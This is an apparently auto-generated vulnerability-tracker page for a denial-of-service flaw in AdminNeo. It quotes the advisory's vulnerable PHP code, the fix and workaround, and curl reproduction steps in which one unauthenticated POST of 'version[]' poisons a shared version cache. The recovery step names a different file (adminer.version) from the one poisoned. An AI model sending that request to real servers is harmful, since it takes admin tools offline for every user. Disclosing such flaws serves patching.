CVE-2026-59978 · GHSA-jm85-8cpp-9cjc
AdminNeo: version-cache array injection causes persistent denial of service
- Risk score
- 55/100
- CVSS
- 7.5 v3.1
- Published
- 30 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page lo…
- Affected
- adminneo-org/adminneo (composer) >= 4.6.2, < 5.5.0
- Fix
- Upgrade adminneo-org/adminneo to 5.5.0 or later.
- Exploitation
- No known exploitation
Why it is Yellow
- CVSS 7.5 high
- Remotely exploitable without logging in
- On your watchlist: Composer
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| adminneo-org/adminneo | composer | >= 4.6.2, < 5.5.0 | 5.5.0 |
References
- https://github.com/advisories/GHSA-jm85-8cpp-9cjc
- https://github.com/adminneo-org/adminneo/security/advisories/GHSA-jm85-8cpp-9cjc
- https://github.com/adminneo-org/adminneo/commit/b7ae929e6afb374f0a7aba3d73b7d441470ff907
- https://github.com/adminneo-org/adminneo/releases/tag/v5.5.0
- https://github.com/advisories/GHSA-jm85-8cpp-9cjc
Original description
### Summary AdminNeo v5.4.1 gets the latest version from GitHub API in a browser JavaScript function. Version number is then sent by POST request to `?script=version`. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST `version[]` parameter which PHP converts to an array. On next page load, function `rawurlencode()` receives this array instead of string and throws `TypeError`, returning HTTP 500 to all users for the next 24 hours. Originally reported by @JoyGhoshs in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh Although the version checking process was modified in AdminNeo, the root cause persisted. ### Workaround If you can't upgrade, make the file `adminneo.version` in temp directory (usually the value of [upload_tmp_dir](https://www.php.net/ini.core#ini.upload-tmp-dir)) unwritable by web server. ### Details #### 1. Intended design of `?script=version` The endpoint is designed to receive version data from GitHub via browser JavaScript. - `functions.js` line 110-121: Receives the latest release information from GitHub API by AJAX. - JavaScript POSTs version number to `?script=version`. - Server stores version number in `/tmp/adminneo.version` file that is used as a shared cache for all users in the same server for the next 24 hours. ```js // function.js lines 119-120 const data = 'version=' + version + '&token=' + token; ajax(baseUrl + 'script=version', null, data); ``` #### 2. The vulnerability The endpoint only checks `$_GET["script"] == "version"` - it does not validate: - Request origin (CSRF token is present, but not checked for this endpoint) - Request source (any HTTP client can POST) - Parameter types (`version` expected as string, array not rejected) ```php // bootstrap.inc.php lines 44-53 if ($_GET["script"] == "version") { $filename = get_temp_dir() . "/adminneo.version"; @unlink($filename); // It may not be writable by us, @ - it may not exist. $file = open_file_with_lock($filename); if ($file) { write_and_unlock_file($file, serialize(["version" => $_POST["version"]])); } exit; } ``` #### 3. Type confusion crash When POST contains `version[]` instead of `version`, PHP creates an array. When AdminNeo reads this file and passes to `cookie()` and then to `rawurlencode()`: ```php // design.inc.php line 40 cookie("neo_version", $data["version"], $lifetime); // Sync expiration with the file. // functions.inc.php lines 398-405 function cookie(string $name, string $value, int $lifetime = 2592000): void { header("Set-Cookie: $name=" . rawurlencode($value) . ($lifetime ? "; expires=" . gmdate("D, d M Y H:i:s", time() + $lifetime) . " GMT" : "") . "; path=" . preg_replace('~\?.*~', '', $_SERVER["REQUEST_URI"]) . (HTTPS ? "; secure" : "") . "; HttpOnly; SameSite=lax", false); } ``` PHP 8.x throws: ``` Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given ``` ### Steps to Reproduce (Example URL is for the official AdminNeo Docker image.) **Step 1:** Verify AdminNeo is running and accessible. ```sh curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080 ``` Expected output: ``` 200 ``` **Step 2:** Send the malicious POST request. The `version[]` syntax causes PHP to create an array instead of a string. ```sh curl -X POST "http://localhost:8080?script=version" -d "version[]=INJECTED" ``` Expected output: Empty response (no error). **Step 3:** Access Adminer again to trigger the crash. ```sh curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8080 ``` Expected output: ``` 500 ``` **Step 4:** (Optional) View the PHP error in server logs. ``` Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given ``` **Step 5:** (Optional) Inspect the poisoned file. ```sh cat /tmp/adminneo.version ``` Expected output: ``` a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}} ``` **Recovery:** ```sh rm /tmp/adminer.version ``` After deletion, AdminNeo returns HTTP 200. <hr> ### Impact **Type:** Denial of Service **Root cause:** The `?script=version` endpoint is designed to receive data from GitHub via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before `rawurlencode()`, this allows DoS for the next 24 hours. **Affected users:** Any AdminNeo instance accessible over the network.
Last activity 30 Oct 2026. Patch Forecast updates every hour.